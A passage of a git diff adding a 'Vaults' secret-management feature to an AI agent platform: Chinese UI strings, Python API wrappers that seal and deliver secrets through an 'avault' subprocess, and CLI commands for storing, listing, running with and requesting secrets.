- "show-runtime": { "label": "Show Page 运行时", "detail": "在你本机渲染可视化 Show 页面。" },
- "node": { "label": "Node.js", "detail": "上述运行时的共同前置依赖。" }
+ "askill": {
+ "label": "askill",
+ "detail": "Agent Skills 运行时 —— 驱动 Skills 页面。"
+ },
+ "avault": {
+ "label": "avault",
+ "detail": "Vault 托管核心 —— 本地 Vault 操作的必需依赖。"
+ },
+ "show-runtime": {
+ "label": "Show Page 运行时",
+ "detail": "在你本机渲染可视化 Show 页面。"
+ },
+ "node": {
+ "label": "Node.js",
+ "detail": "上述运行时的共同前置依赖。"
+ }
}
},
"backends": {
@@ -1910,5 +1945,44 @@
"recall": "撤回到输入框",
"remove": "移出队列"
}
+ },
+ "vaults": {
+ "title": "保险库",
+ "subtitle": "Agent 可以使用这些密钥,而它们的值永远不会进入对话。",
+ "add": "添加密钥",
+ "refresh": "刷新",
+ "loading": "加载中…",
+ "empty": "还没有密钥。添加一个——Agent 通过 CLI 获取,值不会进入聊天。",
+ "protected": "加密档",
+ "proxyBound": "已绑定代理",
+ "used": "已使用 {{count}} 次",
+ "neverUsed": "从未使用",
+ "delete": "删除",
+ "deleteConfirm": "删除密钥「{{name}}」?Agent 将无法再使用它。",
+ "deleted": "已删除 {{name}}",
+ "created": "已保存 {{name}}",
+ "dialog": {
+ "title": "添加密钥",
+ "name": "名称",
+ "value": "值",
+ "valuePlaceholder": "粘贴于此,加密存储,永不回显",
+ "group": "分组",
+ "description": "描述",
+ "allowHosts": "允许的域名(用于 vault fetch)",
+ "allowHostsHelp": "逗号分隔。通过认证代理使用该密钥时必填;'.example.com' 匹配子域。",
+ "save": "保存",
+ "cancel": "取消"
+ },
+ "request": {
+ "provide": "填写",
+ "title": "提供 {{name}}",
+ "help": "Agent 请求了这个密钥。它会直接存入保险库,不会再进入聊天。",
+ "saveFailed": "保存失败,请重试。"
+ },
+ "history": "历史",
+ "audit": {
+ "title": "最近活动",
+ "empty": "暂无活动。"
+ }
}
}
diff --git a/vibe/api.py b/vibe/api.py
index d198ccb71..f7a0262fd 100644
--- a/vibe/api.py
+++ b/vibe/api.py
@@ -46,6 +46,7 @@ from vibe.upgrade import (
)
from vibe.restart_supervisor import schedule_restart
from vibe.claude_model_catalog import DEFAULT_CLAUDE_MODEL_ALIASES, load_catalog_models
+from vibe.i18n import t as backend_t
from modules.agents.catalog import (
agent_backend_catalog_payload,
agent_backend_descriptors,
@@ -1275,6 +1276,104 @@ def set_default_vibe_agent(name: str) -> dict:
store.close()
+# ----- Vaults (secret management; design: docs/plans/vaults.md) -----
+# Thin web-facing wrappers over storage.vault_service. Reads are masked (no values);
+# values are only ever delivered to agents via the CLI (vibe vault run/fetch/...).
+
+
+class VaultApiError(ValueError):
+ """A vault REST error carrying a stable code + HTTP status for the route layer."""
+
+ def __init__(self, message: str, *, code: str = "vault_error", status: int = 400):
+ super().__init__(message)
+ self.code = code
+ self.status = status
+
+
+def _vault_engine():
+ from storage.db import create_sqlite_engine
+ from storage.importer import ensure_sqlite_state, resolve_primary_platform_from_config
+
+ # Resolve the platform from config like the other CLI/data paths — if the Vaults
+ # route is the first to initialize SQLite on an upgraded install with legacy
+ # sessions, ``ensure_sqlite_state`` requires a platform and would otherwise raise.
+ ensure_sqlite_state(primary_platform=resolve_primary_platform_from_config(paths.get_state_dir()))
+ return create_sqlite_engine(paths.get_sqlite_state_path())
+
+
+def get_vault_secrets(*, group: Optional[str] = None) -> dict:
+ from storage import vault_service
+
+ engine = _vault_engine()
+ with engine.connect() as conn:
+ secrets = vault_service.list_secrets(conn, group=group)
+ return {"ok": True, "secrets": secrets}
+
+
+def create_vault_secret(payload: dict) -> dict:
+ from storage import vault_crypto, vault_service
+
+ if not isinstance(payload, dict):
+ raise VaultApiError("payload must be an object", code="invalid_payload")
+ name = str(payload.get("name") or "").strip()
+ value = payload.get("value")
+ if value is None or value == "":
+ raise VaultApiError("value is required", code="empty_value")
+ if not vault_crypto.is_valid_secret_name(name):
+ raise VaultApiError("invalid secret name (use ^[A-Z][A-Z0-9_]*$)", code="invalid_name")
+ tags = payload.get("tags") if isinstance(payload.get("tags"), list) else None
+ policy = payload.get("policy") if isinstance(payload.get("policy"), dict) else None
+ value = str(value)
+ # Seal via avault before the DB transaction. The transient plaintext POST lives only here
+ # (one request, not reused) and is piped to avault's stdin; we keep only the ciphertext.
+ try:
+ sealed = avault_seal(name, value.encode("utf-8"))
+ except AvaultError as exc:
+ raise VaultApiError(f"avault seal failed: {exc}", code="avault_failed") from exc
+ preview = vault_service.value_preview(value)
+ engine = _vault_engine()
+ try:
+ with engine.begin() as conn:
+ meta = vault_service.create_secret(
+ conn,
+ name=name,
+ sealed=sealed,
+ preview=preview,
+ group=str(payload.get("group") or vault_service.DEFAULT_GROUP),
+ tags=tags,
+ description=payload.get("description"),
+ policy=policy,
+ )
+ except vault_service.InvalidSecretNameError as exc:
+ raise VaultApiError("invalid secret name (use ^[A-Z][A-Z0-9_]*$)", code="invalid_name") from exc
+ except vault_service.SecretExistsError as exc:
+ raise VaultApiError(f"secret '{name}' already exists", code="secret_exists", status=409) from exc
+ except vault_service.UnsupportedProtectionError as exc:
+ raise VaultApiError(str(exc), code="protected_tier_unavailable") from exc
+ return {"ok": True, "secret": meta}
+
+
+def delete_vault_secret(name: str) -> dict:
+ from storage import vault_service
+
+ engine = _vault_engine()
+ try:
+ with engine.begin() as conn:
+ vault_service.delete_secret(conn, name)
+ except vault_service.SecretNotFoundError as exc:
+ raise VaultApiError(f"secret '{name}' not found", code="secret_not_found", status=404) from exc
+ return {"ok": True, "removed": True, "name": name}
+
+
+def get_vault_audit(*, secret_name: Optional[str] = None, limit: int = 100) -> dict:
+ from storage import vault_service
+
+ engine = _vault_engine()
+ with engine.connect() as conn:
+ events = vault_service.list_audit(conn, secret_name=secret_name, limit=limit)
+ return {"ok": True, "events": events}
+
+
def import_vibe_agents(payload: dict) -> dict:
if not isinstance(payload, dict):
raise ValueError("Import payload must be an object")
@@ -3185,11 +3284,12 @@ def _run_install_command(
# =============================================================================
-# Local dependencies (askill) — required tools avibe installs for the user
+# Local dependencies (askill / avault) — required tools avibe installs for the user
# =============================================================================
_ASKILL_INSTALL_LOCK = threading.Lock()
+_AVAULT_INSTALL_LOCK = threading.Lock()
def _truncate_install_output(output: str, limit: int = 8192) -> str:
@@ -3279,6 +3379,286 @@ def askill_status() -> dict:
return {"id": "askill", "installed": True, "version": version, "status": "ready", "path": path}
+def _configured_avault_cli_path() -> str:
+ try:
+ return str(V2Config.load().agents.avault.cli_path or "avault")
+ except Exception: # noqa: BLE001
+ return "avault"
+
+
+def _resolve_avault_cli_path() -> str | None:
+ configured = _configured_avault_cli_path()
+ resolved = resolve_cli_path(configured)
+ if resolved:
+ return resolved
+ if configured != "avault":
+ return resolve_cli_path("avault")
+ return None
+
+
+def install_avault() -> dict:
+ """Install (or refresh) avault, the required local custody-core dependency.
+
+ Stub-first integration: for now, accept a locally built binary already
+ reachable through ``agents.avault.cli_path`` or PATH. The real installer
+ should swap in here and use Avibe's manifest-pinned binary download path
+ with checksum verification once the avault release pipeline lands.
+ """
+ path = _resolve_avault_cli_path()
+ if path:
+ return {
+ "ok": True,
+ "message": backend_t("dependencies.avault.ready"),
+ "output": None,
+ "path": path,
+ }
+ # TODO(vaults): download the Avibe-pinned avault release asset from the
+ # compatibility manifest, verify its checksum, install it into Avibe's
+ # managed bin dir, then return the resolved binary path.
+ return {
+ "ok": False,
+ "message": backend_t("dependencies.avault.missing"),
+ "output": None,
+ }
+
+
+def ensure_avault_installed(force: bool = False) -> dict:
+ """Ensure avault is present. Idempotent until the manifest installer lands."""
+ if not _AVAULT_INSTALL_LOCK.acquire(blocking=False):
+ return {
+ "ok": False,
+ "skipped": True,
+ "reason": "avault_install_already_running",
+ "message": backend_t("dependencies.avault.alreadyRunning"),
+ }
+ try:
+ existing = _resolve_avault_cli_path()
+ if existing and not force:
+ return {"ok": True, "installed": True, "changed": False, "path": existing}
+ result = install_avault()
+ resolved = _resolve_avault_cli_path()
+ installed = bool(resolved)
+ result["installed"] = installed
+ result["changed"] = False
+ result["path"] = resolved
+ if result.get("ok") and not installed:
+ result["ok"] = False
+ result["message"] = (
+ result.get("message") or backend_t("dependencies.avault.installedNotFound")
+ )
+ return result
+ finally:
+ _AVAULT_INSTALL_LOCK.release()
+
+
+def avault_status() -> dict:
+ """Report whether avault is installed and its version (best-effort)."""
+ path = _resolve_avault_cli_path()
+ if not path:
+ return {"id": "avault", "installed": False, "version": None, "status": "missing", "path": None}
+ version: str | None = None
+ try:
+ proc = subprocess.run(
+ [path, "version"],
+ capture_output=True,
+ text=True,
+ timeout=10,
+ env=_command_env_for(path),
+ **isolated_subprocess_kwargs(),
+ )
+ text = (proc.stdout or proc.stderr or "").strip()
+ if proc.returncode == 0 and text:
+ version = text.split()[-1]
+ except Exception: # noqa: BLE001
+ version = None
+ return {"id": "avault", "installed": True, "version": version, "status": "ready", "path": path}
+
+
+# ---------------------------------------------------------------------------
+# avault client — Avibe's only path to value cryptography.
+#
+# Every Vaults value operation (seal on create, deliver on use, key backup) is a
+# one-shot ``avault`` subprocess. Plaintext/keys flow only INTO avault via stdin;
+# avault returns ciphertext, a delivery exit code, an HTTP response, or a written
+# file — never plaintext. The daemon never holds the master key and never decrypts.
+# (Design: avibe docs/plans/avault-custody-core.md §18; verbs: avault/docs/DESIGN.md.)
+# ---------------------------------------------------------------------------
+
+# avibe's wait must outlast avault's own fetch timeout (10s connect + 30s total).
+_AVAULT_TIMEOUT_SECONDS = 20.0
+_AVAULT_FETCH_TIMEOUT_SECONDS = 60.0
+# avault exits 70 for an internal failure (bad envelope, decrypt error, store error)
+# before any delivery side effect — distinct from a delivered child's own exit code.
+_AVAULT_INTERNAL_ERROR_CODE = 70
+
+
+class AvaultError(Exception):
+ """An ``avault`` invocation failed. Messages never carry secret material —
+ avault is designed to keep secrets out of its stdout/stderr and errors."""
+
+
+def _avault_detail(proc: "subprocess.CompletedProcess") -> str:
+ """Best-effort, secret-free detail from a failed avault run (its stderr)."""
+ raw = proc.stderr
+ if isinstance(raw, bytes):
+ raw = raw.decode("utf-8", "replace")
+ return (raw or "").strip()
+
+
+def _require_avault_path() -> str:
+ path = _resolve_avault_cli_path()
+ if not path:
+ raise AvaultError(backend_t("dependencies.avault.missing"))
+ return path
+
+
+def _run_avault(
+ args: list[str],
+ *,
+ stdin: bytes | None = None,
+ timeout: float = _AVAULT_TIMEOUT_SECONDS,
+) -> "subprocess.CompletedProcess":
+ """Run a capturing one-shot avault command. Bulk blobs go via ``stdin``."""
+ path = _require_avault_path()
+ try:
+ return subprocess.run(
+ [path, *args],
+ input=stdin,
+ capture_output=True,
+ timeout=timeout,
+ env=_command_env_for(path),
+ **isolated_subprocess_kwargs(),
+ )
+ except FileNotFoundError as exc:
+ raise AvaultError("avault binary not found") from exc
+ except subprocess.TimeoutExpired as exc:
+ raise AvaultError("avault timed out") from exc
+
+
+def _envelope_payload(sealed) -> dict:
+ """Serialize a stored envelope for an avault stdin request (no plaintext)."""
+ return {"ciphertext": sealed.ciphertext, "nonce": sealed.nonce, "wrap_meta": sealed.wrap_meta}
+
+
+def avault_seal(name: str, value: bytes):
+ """Seal a value under the machine key via avault; return a :class:`Sealed`.
+
+ ``value`` is piped straight to avault's stdin and never persisted or logged here.
+ """
+ from storage.vault_crypto import Sealed
+
+ proc = _run_avault(["seal", "--name", name], stdin=value)
+ if proc.returncode != 0:
+ raise AvaultError(_avault_detail(proc) or "avault seal failed")
+ try:
+ payload = json.loads(proc.stdout)
+ return Sealed(
+ ciphertext=payload["ciphertext"],
+ nonce=payload["nonce"],
+ wrap_meta=payload["wrap_meta"],
+ )
+ except (ValueError, KeyError, TypeError) as exc:
+ raise AvaultError("avault seal returned malformed output") from exc
+
+
+def avault_deliver_run(secrets: list[dict], command: list[str]) -> int:
+ """Run ``command`` with the secrets injected as env vars, inside avault.
+
+ ``secrets`` is ``[{"name": <secret name>, "env": <env var>, "envelope": <Sealed>}]``.
+ avault decrypts, spawns the child with that env, waits, and zeroizes — the
+ plaintext never returns here. The child inherits this process's stdio so its
+ output passes through; the run-secrets JSON (envelopes only, no plaintext)
+ goes on avault's stdin to stay out of ``ps``. Returns the child's exit code
+ (``128 + signal`` if signalled), or raises :class:`AvaultError` if avault could
+ not start the child.
+ """
+ path = _require_avault_path()
+ payload = json.dumps(
+ [
+ {"name": s["name"], "env": s["env"], "envelope": _envelope_payload(s["envelope"])}
+ for s in secrets
+ ]
+ ).encode("utf-8")
+ try:
+ proc = subprocess.Popen(
+ [path, "deliver", "run", "--", *command],
+ stdin=subprocess.PIPE,
+ env=_command_env_for(path),
+ **isolated_subprocess_kwargs(),
+ )
+ except FileNotFoundError as exc:
+ raise AvaultError("avault binary not found") from exc
+ try:
+ assert proc.stdin is not None
+ proc.stdin.write(payload)
+ proc.stdin.close()
+ except (BrokenPipeError, OSError):
+ # avault exited before reading stdin (e.g. bad request); fall through to wait()
+ # which surfaces its exit code.
+ pass
+ return proc.wait()
+
+
+def avault_deliver_fetch(name: str, sealed, request: dict) -> dict:
+ """Broker an HTTP request inside avault with the secret injected at egress.
+
+ ``request`` must include ``allowed_hosts`` (avault rejects the target otherwise).
+ Returns ``{"status", "headers", "body"}`` — the response only, never the secret.
+ """
+ body = json.dumps(
+ {"name": name, "envelope": _envelope_payload(sealed), "request": request}
+ ).encode("utf-8")
+ proc = _run_avault(["deliver", "fetch"], stdin=body, timeout=_AVAULT_FETCH_TIMEOUT_SECONDS)
+ # avault exits 0 for 2xx and 1 for a non-2xx HTTP status; both still emit the
+ # response JSON. Any higher code is an avault-level failure (no response).
+ if proc.returncode not in (0, 1):
+ raise AvaultError(_avault_detail(proc) or "avault fetch failed")
+ try:
+ return json.loads(proc.stdout)
+ except (ValueError, TypeError) as exc:
+ raise AvaultError("avault fetch returned malformed output") from exc
+
+
+def avault_deliver_inject(path: str, fmt: str, secrets: list[dict]) -> None:
+ """Render the secrets to a 0600 file at ``path`` (dotenv/json) inside avault.
+
+ ``secrets`` is ``[{"name": <secret name>, "key": <file key>, "envelope": <Sealed>}]``.
+ """
+ body = json.dumps(
+ {
+ "path": str(path),
+ "format": fmt,
+ "secrets": [
+ {"name": s["name"], "key": s["key"], "envelope": _envelope_payload(s["envelope"])}
+ for s in secrets
+ ],
+ }
+ ).encode("utf-8")
+ proc = _run_avault(["deliver", "inject"], stdin=body)
+ if proc.returncode != 0:
+ raise AvaultError(_avault_detail(proc) or "avault inject failed")
+
+
+def avault_key_export(passphrase: str) -> dict:
+ """Export the machine key as a passphrase-wrapped backup blob via avault."""
+ proc = _run_avault(["key", "export"], stdin=passphrase.encode("utf-8"))
+ if proc.returncode != 0:
+ raise AvaultError(_avault_detail(proc) or "avault key export failed")
+ try:
+ return json.loads(proc.stdout)
+ except (ValueError, TypeError) as exc:
+ raise AvaultError("avault key export returned malformed output") from exc
+
+
+def avault_key_import(blob: dict, passphrase: str, *, force: bool = False) -> None:
+ """Restore the machine key from an :func:`avault_key_export` blob via avault."""
+ body = json.dumps({"passphrase": passphrase, "blob": blob}).encode("utf-8")
+ args = ["key", "import"] + (["--force"] if force else [])
+ proc = _run_avault(args, stdin=body)
+ if proc.returncode != 0:
+ raise AvaultError(_avault_detail(proc) or "avault key import failed")
+
+
def _askill_auto_update_disabled() -> bool:
"""Return whether the managed askill reconcile loop is explicitly disabled."""
skip_value = os.environ.get(_ASKILL_SKIP_ENV, "").strip().lower()
@@ -3371,7 +3751,7 @@ def reconcile_askill_auto_update() -> dict:
# Dependencies aggregate + manual install jobs (askill / show runtime)
# =============================================================================
-_ALLOWED_DEP_INSTALLS = {"askill", "show-runtime"}
+_ALLOWED_DEP_INSTALLS = {"askill", "avault", "show-runtime"}
_STARTUP_DEPENDENCY_RECONCILE_LOCK = threading.Lock()
_DEFAULT_STARTUP_SHOW_PAGE_PREWARM_LIMIT = 3
_MAX_STARTUP_SHOW_PAGE_PREWARM_LIMIT = 10
@@ -3401,6 +3781,20 @@ def dependencies_status() -> dict:
}
)
+ av = avault_status()
+ deps.append(
+ {
+ "id": "avault",
+ "kind": "tool",
+ "required": True,
+ "installed": av["installed"],
+ "version": av.get("version"),
+ "latest_version": None,
+ "has_update": False,
+ "status": av["status"],
+ }
+ )
+
try:
from core.show_runtime import get_show_runtime_manager
@@ -3520,6 +3914,7 @@ def reconcile_startup_dependencies() -> dict:
"ok": True,
"node": {"ok": False, "status": "unknown"},
"askill": {"ok": False, "status": "unknown"},
+ "avault": {"ok": False, "status": "unknown"},
"show_runtime": {"ok": False, "status": "unknown"},
}
try:
@@ -3530,6 +3925,13 @@ def reconcile_startup_dependencies() -> dict:
askill = {"ok": False, "message": str(exc)}
result["askill"] = askill
+ try:
+ avault = ensure_avault_installed(force=False)
+ except Exception as exc: # noqa: BLE001
+ logger.warning("Startup dependency reconcile failed to ensure avault: %s", exc, exc_info=True)
+ avault = {"ok": False, "message": str(exc)}
+ result["avault"] = avault
+
try:
from core.show_runtime import get_show_runtime_manager
@@ -3564,7 +3966,11 @@ def reconcile_startup_dependencies() -> dict:
result["show_runtime"] = {"ok": False, "status": "failed", "reason": str(exc)}
result["duration_ms"] = int((time.monotonic() - started_at) * 1000)
- result["ok"] = bool(result["askill"].get("ok")) and bool(result["show_runtime"].get("ok"))
+ result["ok"] = (
+ bool(result["askill"].get("ok"))
+ and bool(result["avault"].get("ok"))
+ and bool(result["show_runtime"].get("ok"))
+ )
return result
finally:
_STARTUP_DEPENDENCY_RECONCILE_LOCK.release()
@@ -3605,7 +4011,12 @@ def start_dependency_install_job(dep: str) -> dict:
def _worker() -> None:
try:
- result = ensure_askill_installed(force=True) if dep == "askill" else _prepare_show_runtime_job()
+ if dep == "askill":
+ result = ensure_askill_installed(force=True)
+ elif dep == "avault":
+ result = ensure_avault_installed(force=True)
+ else:
+ result = _prepare_show_runtime_job()
ok = bool(result.get("ok"))
with _AGENT_INSTALL_JOB_LOCK:
current = _AGENT_INSTALL_JOBS.get(job_id)
diff --git a/vibe/cli.py b/vibe/cli.py
index 55d60eb62..aaaa68b13 100644
--- a/vibe/cli.py
+++ b/vibe/cli.py
@@ -3307,6 +3307,750 @@ def cmd_session_update(args):
return 0
+# ----- vault: secret management (design: docs/plans/vaults.md) -----
+# P0 standard-tier ops run direct-DB + direct-crypto here, matching sibling CLI
+# commands (session/task/data): the machine key is a local file, so the CLI reading
+# it is the same trust boundary as the daemon, and there is no approval to
+# orchestrate. Protected-tier resolve/sign (P1) will route through the daemon UDS,
+# because that is where the unlock factor, approval, and in-memory grants live.
+
+
+def _open_vault_engine():
+ _ensure_cli_sqlite_state()
+ return create_sqlite_engine(paths.get_sqlite_state_path())
+
+
+def _is_env_name(name: str) -> bool:
+ """ASCII shell/env identifier: a letter or underscore, then letters/digits/underscores."""
+ if not name or not name[0].isascii() or not (name[0].isalpha() or name[0] == "_"):
+ return False
+ return all(c.isascii() and (c.isalnum() or c == "_") for c in name)
+
+
+def _parse_env_specs(specs) -> dict:
+ """Map ENV var name -> vault secret name from ``--env`` specs.
+
+ Accepts ``NAME`` (inject as the same name), ``LOCAL=NAME`` (rename), and
+ comma-separated ``A,B`` within one flag.
+ """
+ mapping: dict[str, str] = {}
+ for spec in specs or []:
+ for part in str(spec).split(","):
+ part = part.strip()
+ if not part:
+ continue
+ if "=" in part:
+ local, _, vault_name = part.partition("=")
+ local, vault_name = local.strip(), vault_name.strip()
+ else:
+ local = vault_name = part
+ if not local or not vault_name:
+ raise TaskCliError(f"invalid --env spec: {part!r}", code="invalid_env_spec", help_command="vibe vault run --help")
+ # The local (LHS) becomes an env var name / is interpolated into `export`
+ # lines for eval — reject anything that isn't a plain identifier so it can't
+ # break the shell or smuggle in extra commands.
+ if not _is_env_name(local):
+ raise TaskCliError(f"invalid env var name: {local!r} (use [A-Za-z_][A-Za-z0-9_]*)", code="invalid_env_name", help_command="vibe vault run --help")
+ mapping[local] = vault_name
+ return mapping
+
+
+def _read_secret_value(args, *, help_command: str) -> str:
+ """Read a secret value from --stdin or --from-file. Argv values are rejected by
+ design (shell history / agent-context leakage)."""
+ from_file = getattr(args, "from_file", None)
+ use_stdin = bool(getattr(args, "stdin", False))
+ if bool(from_file) == use_stdin: # neither, or both
+ raise TaskCliError(
+ "provide the value via exactly one of --stdin or --from-file",
+ code="missing_value_source",
+ help_command=help_command,
+ )
+ if from_file:
+ try:
+ # Stored byte-exact: read bytes and decode (NOT read_text, which does universal
+ # newline translation). A trailing newline and CRLF/CR endings are significant for
+ # Windows-created PEM/SSH keys and many tokens, so --from-file is preserved verbatim.
+ value = Path(from_file).read_bytes().decode("utf-8")
+ except OSError as exc:
+ raise TaskCliError(f"cannot read --from-file: {exc}", code="value_file_unreadable", help_command=help_command) from exc
+ else:
+ # Interactive/piped stdin: drop a single trailing newline (the Enter keypress / heredoc
+ # terminator) the user didn't intend as part of the secret.
+ value = sys.stdin.read()
+ if value.endswith("\n"):
+ value = value[:-1]
+ if not value:
+ raise TaskCliError("secret value is empty", code="empty_value", help_command=help_command)
+ return value
+
+
+def cmd_vault_set(args):
+ from storage import vault_crypto, vault_service
+ from vibe import api
+
+ help_command = "vibe vault set --help"
+ try:
+ value = _read_secret_value(args, help_command=help_command)
+ # Validate the name before sealing so an invalid name doesn't spend an avault call.
+ if not vault_crypto.is_valid_secret_name(args.name):
+ raise vault_service.InvalidSecretNameError(args.name)
+ tags = list(getattr(args, "tag", None) or []) or None
+ policy = _build_secret_policy(args)
+ # Seal via avault BEFORE opening a DB transaction (never hold a txn across a subprocess).
+ # The plaintext goes only to avault's stdin; we keep just the ciphertext envelope + a
+ # non-secret last-4 preview.
+ sealed = api.avault_seal(args.name, value.encode("utf-8"))
+ preview = vault_service.value_preview(value)
+ engine = _open_vault_engine()
+ with engine.begin() as conn:
+ meta = vault_service.create_secret(
+ conn,
+ name=args.name,
+ sealed=sealed,
+ preview=preview,
+ group=getattr(args, "group", None) or vault_service.DEFAULT_GROUP,
+ tags=tags,
+ description=getattr(args, "description", None),
+ policy=policy,
+ )
+ _print_cli_payload("vault_secret", saved=True, secret=meta)
+ return 0
+ except vault_service.InvalidSecretNameError:
+ _print_task_error(TaskCliError(f"invalid secret name: {args.name!r} (use ^[A-Z][A-Z0-9_]*$)", code="invalid_name", help_command=help_command))
+ return 1
+ except vault_service.SecretExistsError:
+ _print_task_error(TaskCliError(f"secret '{args.name}' already exists (remove it first to replace)", code="secret_exists", help_command=help_command))
+ return 1
+ except api.AvaultError as exc:
+ _print_task_error(TaskCliError(f"avault seal failed: {exc}", code="avault_failed", help_command=help_command))
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+
+def cmd_vault_list(args):
+ from storage import vault_service
+
+ try:
+ engine = _open_vault_engine()
+ with engine.connect() as conn:
+ secrets = vault_service.list_secrets(conn, group=getattr(args, "group", None))
+ _print_cli_payload("vault_secrets", secrets=secrets)
+ return 0
+ except Exception as exc:
+ _print_task_error(exc, help_command="vibe vault list --help")
+ return 1
+
+
+def cmd_vault_rm(args):
+ from storage import vault_service
+
+ help_command = "vibe vault rm --help"
+ try:
+ engine = _open_vault_engine()
+ with engine.begin() as conn:
+ vault_service.delete_secret(conn, args.name)
+ _print_cli_payload("vault_secret", removed=True, name=args.name)
+ return 0
+ except vault_service.SecretNotFoundError:
+ _print_task_error(TaskCliError(f"secret '{args.name}' not found", code="secret_not_found", help_command=help_command))
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+
+def cmd_vault_run(args):
+ from storage import vault_service
+
+ help_command = "vibe vault run --help"
+ try:
+ mapping = _parse_env_specs(getattr(args, "env", None))
+ if not mapping:
+ raise TaskCliError("at least one --env NAME is required", code="missing_env", help_command=help_command)
+ command_argv = list(getattr(args, "command_argv", None) or [])
+ if command_argv and command_argv[0] == "--":
+ command_argv = command_argv[1:]
+ if not command_argv:
+ raise TaskCliError(
+ "a command is required after --",
+ code="missing_command",
+ help_command=help_command,
+ example="vibe vault run --env OPENAI_API_KEY -- python sync.py",
+ )
+ # Preflight the command BEFORE resolving — a missing binary shouldn't decrypt the
+ # secret, bump use_count, or write a 'delivered' audit for a delivery that never
+ # reached a child.
+ if shutil.which(command_argv[0]) is None:
+ raise TaskCliError(
+ f"command not found: {command_argv[0]!r}",
+ code="command_not_found",
+ help_command=help_command,
+ example="vibe vault run --env OPENAI_API_KEY -- python sync.py",
+ )
+ engine = _open_vault_engine()
+ with engine.connect() as conn:
+ envelopes = vault_service.get_envelopes(conn, sorted(set(mapping.values())))
+ except vault_service.SecretNotFoundError as exc:
+ _print_task_error(TaskCliError(f"secret '{exc}' not found", code="secret_not_found", help_command=help_command))
+ return 1
+ except vault_service.UnsupportedProtectionError as exc:
+ _print_task_error(TaskCliError(str(exc), code="protected_tier_unavailable", help_command=help_command))
+ return 1
+ except TaskCliError as exc:
+ _print_task_error(exc)
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+ # Hand the envelopes + command to avault: it decrypts, spawns the child with the secret
+ # env, waits, and zeroizes. The plaintext never returns here; the child inherits our stdio
+ # so its output passes through. Envelopes (no plaintext) go on avault's stdin.
+ from vibe import api
+
+ secrets = [
+ {"name": vault_name, "env": env_name, "envelope": envelopes[vault_name]}
+ for env_name, vault_name in mapping.items()
+ ]
+ try:
+ exit_code = api.avault_deliver_run(secrets, command_argv)
+ except api.AvaultError as exc:
+ _print_task_error(TaskCliError(f"avault deliver failed: {exc}", code="avault_failed", help_command=help_command))
+ return 1
+ # avault exits 70 only on an internal failure BEFORE spawning the child (bad envelope /
+ # decrypt / store) — no delivery happened, so skip the audit. Any other code means the child
+ # ran with the secret in its env → record the delivery now. A bookkeeping failure must not
+ # crash or change the child's real exit code.
+ if exit_code != 70:
+ try:
+ with engine.begin() as conn:
+ vault_service.record_deliveries(
+ conn, sorted(set(mapping.values())), requester={"source": "cli", "pid": os.getpid()}, mode="run"
+ )
+ except Exception:
+ pass
+ return exit_code
+
+
+def _wait_for_provision(request_id: str, *, timeout: float, poll_interval: float = 2.0) -> bool:
+ from storage.models import vault_requests
+
+ deadline = time.monotonic() + timeout
+ engine = _open_vault_engine()
+ while time.monotonic() < deadline:
+ with engine.connect() as conn:
+ row = conn.execute(select(vault_requests.c.status).where(vault_requests.c.id == request_id)).first()
+ if row and row[0] == "fulfilled":
+ return True
+ remaining = deadline - time.monotonic()
+ if remaining <= 0:
+ break
+ time.sleep(min(poll_interval, remaining))
+ return False
+
+
+def cmd_vault_request(args):
+ from storage import vault_crypto, vault_service
+
+ help_command = "vibe vault request --help"
+ try:
+ name = args.name
+ if not vault_crypto.is_valid_secret_name(name):
+ raise TaskCliError(f"invalid secret name: {name!r} (use ^[A-Z][A-Z0-9_]*$)", code="invalid_name", help_command=help_command)
+ engine = _open_vault_engine()
+ with engine.begin() as conn:
+ req = vault_service.create_provision_request(
+ conn,
+ name,
+ reason=getattr(args, "reason", None),
+ skill=getattr(args, "skill", None),
+ requester={"source": "cli", "pid": os.getpid()},
+ )
+ if req.get("status") == "fulfilled":
+ # Secret already existed — no point waiting.
+ _print_cli_payload(
+ "vault_request",
+ request_id=req["id"],
+ secret_name=name,
+ status="fulfilled",
+ message=f"'{name}' is already in the vault — use it via: vibe vault run --env {name} -- <command>",
+ )
+ return 0
+ wait_seconds = getattr(args, "wait", None)
+ if wait_seconds:
+ if _wait_for_provision(req["id"], timeout=float(wait_seconds)):
+ _print_cli_payload(
+ "vault_request",
+ request_id=req["id"],
+ secret_name=name,
+ status="fulfilled",
+ message=f"'{name}' is now available — use it via: vibe vault run --env {name} -- <command>",
+ )
+ return 0
+ _print_task_error(
+ TaskCliError(
+ f"request for '{name}' was not fulfilled within {wait_seconds}s",
+ code="request_timeout",
+ help_command=help_command,
+ details={"request_id": req["id"]},
+ )
+ )
+ return 1
+ _print_cli_payload(
+ "vault_request",
+ request_id=req["id"],
+ secret_name=name,
+ status="pending",
+ message=(
+ f"Recorded a request for '{name}'. The user fulfills it by adding a secret named "
+ f"{name} on the Vaults page (Add secret) — saving it marks this request fulfilled. "
+ f"Then use: vibe vault run --env {name} -- <command>"
+ ),
+ )
+ return 0
+ except TaskCliError as exc:
+ _print_task_error(exc)
+ return 1
+ except Exception as exc:
+ _print_task_error(exc, help_command=help_command)
+ return 1
+
+
+def _build_secret_policy(args) -> dict | None:
+ """Assemble the non-secret policy (allowed hosts + auth scheme) for the brokered
+ ``fetch`` mode from ``set`` flags. Returns None when nothing is configured."""
+ policy: dict = {}
+ hosts = [h.strip() for h in (getattr(args, "allow_host", None) or []) if h.strip()]
+ if hosts:
+ policy["allowed_hosts"] = hosts
+ auth_header = getattr(args, "auth_header", None)
+ auth_query = getattr(args, "auth_query", None)
+ if auth_header and auth_query:
+ raise TaskCliError("use at most one of --auth-header / --auth-query", code="invalid_auth", help_command="vibe vault set --help")
+ if auth_header:
+ # A stored auth-header policy is applied at fetch egress, so it must obey the same
+ # authority-override guard as --header (otherwise --auth-header Host bypasses it).
+ _reject_forbidden_header(auth_header, help_command="vibe vault set --help")
+ policy["auth"] = {"type": "header", "name": auth_header}
+ elif auth_query:
+ policy["auth"] = {"type": "query", "name": auth_query}
+ # No auth key => fetch defaults to Authorization: Bearer <value>.
+ return policy or None
+
+
+def _host_allowed(host, allowed) -> bool:
+ """Exact host match, or a leading-dot entry (``.github.com``) matching subdomains.
+
+ Hostnames are case-insensitive, so both sides are lowercased — otherwise a stored
+ ``API.GITHUB.COM`` would never match the lowercase ``urlsplit().hostname`` and a valid
+ host-bound secret becomes unusable.
+ """
+ if not host:
+ return False
+ host = host.lower()
